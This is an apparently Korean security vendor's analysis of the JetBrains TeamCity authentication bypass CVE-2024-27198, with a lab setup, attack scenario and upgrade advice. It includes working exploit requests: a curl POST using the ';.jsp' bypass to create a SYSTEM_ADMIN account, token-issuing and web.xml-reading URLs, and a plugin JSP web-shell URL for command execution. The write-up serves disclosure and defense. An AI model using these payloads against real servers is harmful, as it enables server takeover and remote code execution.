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Research & Technique 
    

 

Jetbrains TeamCity 인증 우회 취약점(CVE-2024-27198) 

 

■ 취약점 개요 
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■ 공격 시나리오 

 

① 공격자는 기업 내 사용중인 취약한 TeamCity 서버를 탐색 

② 공격자는 CVE-2024-27198 취약점을 이용하여 피해자 서버에 접근 

③ 공격자는 임의의 admin 계정을 등록하고 새로운 access token을 발급 

④ 공격자는 악성 Plugin을 업로드하여 원격 명령 실행 

⑤ 공격자는 내부 인프라에 침투하여 랜섬웨어, 암호화폐 채굴기 등 유포 
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■ 영향받는 소프트웨어 버전 

S/W 구분 취약 버전 

JetBrains TeamCity 2023.11.3 이전 버전 

 

■ 테스트 환경 구성 정보 

이름 정보 

피해자 

Ubuntu 22.04.6 LTS 

TeamCity Professional 2023.11.3 

(192.168.102.74) 

공격자 
Kali Linux 

(192.168.219.129) 
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■ 취약점 테스트 

명령어 

# docker pull 

docker pull jetbrains/teamcity-server:2023.11.3 

# docker run 

docker run –it –d –name teamcity –p 8111:8111 jetbrains/teamcity-server:2023.11.3 
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$ curl -ik http://192.168.102.74:8111/eqst?jsp=/app/rest/users\;.jsp -X POST -H "Content-Type: application/json" --

data "{\"username\": \"eqst\", \"password\": \"eqst\", \"email\": \"eqst@skshieldus.com\", \"roles\": 

{\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}" 

 

 

 

 



 

EQST insight | 6 

 

 

http://{TeamCity_서버}/plugins/{plugin_이름}/{악성코드.jsp}?cmd={명령어} 
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■ 취약점 상세 분석 
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http://{TeamCity_address}/login.html?jsp=/app/rest/server;.jsp  
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Payload http://192.168.102.74:8111/eqst?jsp=/app/rest/users;.jsp 

JSON 

Data 

{"username":"eqst", 

"password":"skshieldus", 

"email":"skshieldus.tester@sk.com", 

"roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}} 
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Payload http://192.168.102.74:8111/eqst?jsp=/app/rest/users/id:1/tokens/EQST;.jsp 
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http://{TeamCity_address}/plugins/{Plugin_name}/{jsp_file}?cmd={command} 

Payload http://192.168.102.74:8111/plugins/test/test.jsp?cmd=ls 
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■ 대응 방안  

Payload http://192.168.102.74:8111/aaaa?jsp=WEB-INF/web.xml;.jsp 

 

 

 

 

 

https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/
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제품 권장 버전 

JetBrains TeamCity 2024.03 
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■ 참고 사이트  




